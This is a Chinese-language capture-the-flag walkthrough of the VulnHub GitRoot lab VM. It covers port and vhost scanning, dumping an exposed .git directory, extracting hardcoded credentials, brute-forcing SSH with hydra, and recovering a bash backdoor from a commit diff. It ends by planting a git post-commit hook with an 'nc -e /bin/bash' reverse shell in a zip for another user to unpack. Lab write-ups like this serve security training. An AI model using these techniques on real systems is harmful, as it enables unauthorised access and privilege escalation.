Gitroot
https://download.vulnhub.com/gitroot/GitRoot.ova
靶场IP：192.168.2.20
扫描对外端口服务
┌──(root㉿kali)-[~/Desktop]
└─# nmap -p1-65535 -sV 192.168.2.20
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-13 08:43 EDT
Nmap scan report for 192.168.2.20
Host is up (0.00024s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
11211/tcp open memcache?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port11211-TCP:V=7.92%I=7%D=9/13%Time=63207B0C%P=x86_64-pc-linux-gnu%r(R
SF:PCCheck,27,"\x81\0\0\0\0\0\0\x81\0\0\0\x0f\0\0\0\x02\0\0\0\0\0\0\0\0Unk
SF:nown\x20command");
MAC Address: 08:00:27:DF:CD:B2 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 86.36 seconds
访问80端口
配置本地hosts
192.168.2.20 wp.gitroot.vuln
192.168.2.20 gitroot.vuln访问：http://wp.gitroot.vuln
爆破子域名
┌──(root㉿kali)-[/tmp]
└─# gobuster vhost -u gitroot.vuln -w /usr/share/wordlists/dirb/common.txt | grep 200
Found: repo.gitroot.vuln (Status: 200) [Size: 438]
Found: wp.gitroot.vuln (Status: 200) [Size: 10697] 配置本地hosts
192.168.2.20 repo.gitroot.vuln访问：http://repo.gitroot.vuln
爆破目录
┌──(root㉿kali)-[/tmp]
└─# gobuster dir -u http://repo.gitroot.vuln/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://repo.gitroot.vuln/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/09/13 09:46:28 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 282]
/.htpasswd (Status: 403) [Size: 282]
/.git/HEAD (Status: 200) [Size: 23]
/.hta (Status: 403) [Size: 282]
/index.php (Status: 200) [Size: 438]
/javascript (Status: 301) [Size: 327] [--> http://repo.gitroot.vuln/javascript/]
/manual (Status: 301) [Size: 323] [--> http://repo.gitroot.vuln/manual/]
/server-status (Status: 403) [Size: 282]
===============================================================
2022/09/13 09:46:29 Finished
===============================================================
使用GitDumper 下载git源码
┌──(root㉿kali)-[/tmp]
└─# git-dumper http://repo.gitroot.vuln/ source他会列出各种各样的文件，但我们会保留这个：
我们有两个有趣的文件，好吧，实际上我们只有一个，" pablo_HELP.txt "文件已被删除，但我们会拯救它！
新文件的内容：
┌──(root㉿kali)-[/tmp]
└─# curl http://repo.gitroot.vuln/33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt
pablo_S3cret_P@ss
beth_S3cret_P@ss
jen_S3cret_P@ss┌──(root㉿kali)-[/opt/GitTools/Extractor]
└─# ./extractor.sh /tmp/source /tmp/dest
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[*] Destination folder does not exist
[*] Creating...
[+] Found commit: b35845fa33144640c092aa3776ab3d59951688c9
[+] Found file: /tmp/dest/0-b35845fa33144640c092aa3776ab3d59951688c9/get.php
[+] Found file: /tmp/dest/0-b35845fa33144640c092aa3776ab3d59951688c9/index.php
[+] Found commit: ce3843e497dd28f992250d36ee1b4e8c9e0f18e9
[+] Found file: /tmp/dest/1-ce3843e497dd28f992250d36ee1b4e8c9e0f18e9/get.php
[+] Found file: /tmp/dest/1-ce3843e497dd28f992250d36ee1b4e8c9e0f18e9/index.php
[+] Found file: /tmp/dest/1-ce3843e497dd28f992250d36ee1b4e8c9e0f18e9/set.php
[+] Found file: /tmp/dest/1-ce3843e497dd28f992250d36ee1b4e8c9e0f18e9/stats.php
[+] Found commit: b069fdde4cf12980175c3fbd79316fe42b57e19a
[+] Found file: /tmp/dest/2-b069fdde4cf12980175c3fbd79316fe42b57e19a/get.php
[+] Found file: /tmp/dest/2-b069fdde4cf12980175c3fbd79316fe42b57e19a/index.php
[+] Found file: /tmp/dest/2-b069fdde4cf12980175c3fbd79316fe42b57e19a/set.php
[+] Found commit: a4e7f0852ebe819f3aba9419198a74990b6992c0
[+] Found file: /tmp/dest/3-a4e7f0852ebe819f3aba9419198a74990b6992c0/33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt
[+] Found file: /tmp/dest/3-a4e7f0852ebe819f3aba9419198a74990b6992c0/get.php
[+] Found file: /tmp/dest/3-a4e7f0852ebe819f3aba9419198a74990b6992c0/index.php
[+] Found file: /tmp/dest/3-a4e7f0852ebe819f3aba9419198a74990b6992c0/pablo_HELP.txt
[+] Found file: /tmp/dest/3-a4e7f0852ebe819f3aba9419198a74990b6992c0/set.php
[+] Found file: /tmp/dest/3-a4e7f0852ebe819f3aba9419198a74990b6992c0/stats.php
[+] Found commit: e4e93b41309b7f2d7adab20bcff048a93f7444c0
[+] Found file: /tmp/dest/4-e4e93b41309b7f2d7adab20bcff048a93f7444c0/get.php
[+] Found file: /tmp/dest/4-e4e93b41309b7f2d7adab20bcff048a93f7444c0/index.php
[+] Found file: /tmp/dest/4-e4e93b41309b7f2d7adab20bcff048a93f7444c0/pablo_HELP.txt
[+] Found file: /tmp/dest/4-e4e93b41309b7f2d7adab20bcff048a93f7444c0/set.php
[+] Found file: /tmp/dest/4-e4e93b41309b7f2d7adab20bcff048a93f7444c0/stats.php
[+] Found commit: 9ca43fb2bc47e82b4addbba42f38eacbd6fcb588
[+] Found file: /tmp/dest/5-9ca43fb2bc47e82b4addbba42f38eacbd6fcb588/index.php
pablo_HELP 文件
┌──(root㉿kali)-[/opt/GitTools/Extractor]
└─# cat /tmp/dest/3-a4e7f0852ebe819f3aba9419198a74990b6992c0/pablo_HELP.txt
I need help, something is wrong with this git repo
没什么用，我们继续检查 .php 文件，我们在文件" set.php "中发现了一些凭据。
┌──(root㉿kali)-[/tmp]
└─# cat /tmp/dest/2-b069fdde4cf12980175c3fbd79316fe42b57e19a/set.php
<!doctype html>
<html>
<head>
<title>Code storage</title>
</head>
<body>
<h1>Welcome to our code storage area</h1>
<?php
if (isset($_GET["key"]) && isset($_GET["value"]) ){
$key = $_GET["key"];
$value = $_GET["value"];
$gitmem = new Memcached();
$gitmem->setOption(Memcached::OPT_BINARY_PROTOCOL, true);
$gitmem->setSaslAuthData("pablo@gitroot", "ihjedpvqfe");
$gitmem->addServer("127.0.0.1", 11211);
$response = $gitmem->set($key, $value);
if ($response) {
echo "Success!";
}
else{
echo "Failed";
}
}
else {
echo '<p>key or value not set</p>';
}
?>
我们在 WordPress 和 SSH 中都使用了凭据，但没有成功。虽然我们已经知道用户的名字，但我们还是使用" rockyou "字典对 SSH 服务进行了暴力攻击。
┌──(root㉿kali)-[/tmp]
└─# hydra -l pablo -P /usr/share/wordlists/rockyou.txt ssh://gitroot.vuln发现密码：pablo/mastergitar
ssh登录
┌──(root㉿kali)-[~]
└─# ssh pablo@gitroot.vuln
The authenticity of host 'gitroot.vuln (192.168.2.20)' can't be established.
ED25519 key fingerprint is SHA256:60rNw8fczihsSqs64B1Lf2E1VkCGOsuq8BTev2ELwLw.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'gitroot.vuln' (ED25519) to the list of known hosts.
pablo@gitroot.vuln's password:
Linux GitRoot 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 26 01:30:55 2020 from 192.168.56.1
pablo@GitRoot:~$
pablo@GitRoot:~$ id
uid=1000(pablo) gid=1000(pablo) groups=1000(pablo)
pablo@GitRoot:~$ cat user.txt
_______ _ _ _____ _ _
|__ __| | | | | __ \ | | | |
| | | |__ __ _ _ __ | | __ _ _ ___ _ _ | |__) |_ _| |__ | | ___
| | | '_ \ / _` | '_ \| |/ / | | | |/ _ \| | | | | ___/ _` | '_ \| |/ _ \
| | | | | | (_| | | | | < | |_| | (_) | |_| | | | | (_| | |_) | | (_)
|_| |_| |_|\__,_|_| |_|_|\_\ \__, |\___/ \__,_| |_| \__,_|_.__/|_|\___/
__/ |
|___/
Great job! Do not falter, there is more to do. You made it this far, finish the race!
"It's not that I'm so smart. Its just that I stay with problems longer." - Albert Einstein
8a81007ea736a2b8a72a624672c375f9ac707b5e
我们不断列出" Pablo "文件夹的内容，我们找到一个名为" public "的文件夹，在其中，我们有一条消息邀请我们检查一个新的 git 存储库。
pablo@GitRoot:~$ cd public/
pablo@GitRoot:~/public$ ls
message.txt
pablo@GitRoot:~/public$ cat message.txt
Hey pablo
Make sure to check-out our brand new git repo!
我们发现一条消息告诉我们检查 git repo。因此，让我们使用 find 检查 .git 目录。
pablo@GitRoot:~/public$ find / -name .git 2>/dev/null
/opt/auth/.git
/var/www/repo/.git我们将看看 /opt/auth/.git。在那个目录里面，我们发现有很多使用 git branch 的分支。所以我们可以查看日志，看看是否有对我们很重要的东西。由于有很多重复的单词，我在日志目录中使用了这个命令。
pablo@GitRoot:/opt/auth/.git/logs$ strings HEAD | grep -v 'init repo' | grep -v 'moving from'
b2ab5f540baab4c299306e16f077d7a6f6556ca3 06fbefc1da56b8d552cfa299924097ba1213dd93 Your Name <you@example.com> 1590500148 -0400 commit: added some stuff查看commit内容
pablo@GitRoot:/opt/auth/.git/logs$ git show 06fbefc1da56b8d552cfa299924097ba1213dd93
commit 06fbefc1da56b8d552cfa299924097ba1213dd93
Author: Your Name <you@example.com>
Date: Tue May 26 09:35:48 2020 -0400
added some stuff
diff --git a/main.c b/main.c
index 70e6397..8af9b9c 100644
--- a/main.c
+++ b/main.c
@@ -4,6 +4,15 @@
int main(){
char pass[20];
- return 0;
+ scanf("%20s", pass);
+ printf("You put %s\n", pass);
+ if (strcmp(pass, "r3vpdmspqdb") == 0 ){
+ char *cmd[] = { "bash", (char *)0 };
+ execve("/bin/bash", cmd, (char *) 0);
+ }
+ else{
+ puts("BAD PASSWORD");
+ }
+ return 0;
}
-//43
+
切换到beth用户
pablo@GitRoot:/tmp$ su beth
Password:
beth@GitRoot:/tmp$ id
uid=1001(beth) gid=1001(beth) groups=1001(beth)
beth@GitRoot:/tmp$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for beth:
Sorry, user beth may not run sudo on GitRoot.
查看addToMyRepo.txt文件
beth@GitRoot:/tmp$ cd ~
beth@GitRoot:~$ ls
public
beth@GitRoot:~$ cd public/
beth@GitRoot:~/public$ ls
addToMyRepo.txt
beth@GitRoot:~/public$ cat addToMyRepo.txt
Hello Beth
If you want to commit to my repository you can add a zip file to ~jen/public/repos/ and ill unzip it and add it to my repository
Thanks!
如果您想提交到我的存储库，您可以将 zip 文件添加到 ~jen/public/repos/ 并解压缩并将其添加到我的存储库
谢谢！
在tmp目录下创建
git init 创建提交后 (chmod 777 incase)
echo 'nc -e /bin/bash <ip> <port>' > '/tmp/.git/hooks/post-commit'压缩我们的 .git 目录
7z a shell.zip .git将我们的zip文件复制到Jen Repos，在那里它将解压缩并放入公共文件夹
cp shell.zip /home/jen/public/repos/shell.zip最后更新于
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